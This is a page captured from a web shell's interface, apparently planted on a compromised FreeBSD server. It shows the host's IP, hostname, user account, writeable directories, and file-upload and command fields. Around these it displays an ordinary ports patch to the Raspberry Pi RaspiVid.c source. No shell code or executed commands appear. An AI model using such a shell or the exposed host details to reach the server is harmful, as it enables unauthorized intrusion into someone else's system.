403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/misc/raspberrypi-userland/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/misc/raspberrypi-userland/files/patch-host__applications_linux_apps_raspicam_RaspiVid.c
--- host_applications/linux/apps/raspicam/RaspiVid.c.orig	2022-06-28 11:41:40 UTC
+++ host_applications/linux/apps/raspicam/RaspiVid.c
@@ -47,9 +47,7 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH D
  * We use the RaspiPreview code to handle the (generic) preview window
  */
 
-// We use some GNU extensions (basename)
-#define _GNU_SOURCE
-
+#include <libgen.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
@@ -449,7 +447,7 @@ static void dump_status(RASPIVID_STATE *state)
  * @param state Pointer to state structure to assign any discovered parameters to
  * @return Non-0 if failed for some reason, 0 otherwise
  */
-static int parse_cmdline(int argc, const char **argv, RASPIVID_STATE *state)
+static int parse_cmdline(int argc, char **argv, RASPIVID_STATE *state)
 {
    // Parse the command line arguments.
    // We are looking for --<something> or -<abbreviation of something>
@@ -2034,7 +2032,7 @@ static int wait_for_next_change(RASPIVID_STATE *state)
 /**
  * main
  */
-int main(int argc, const char **argv)
+int main(int argc, char **argv)
 {
    // Our main data storage vessel..
    RASPIVID_STATE state;

Youez - 2016 - github.com/yon3zu
LinuXploit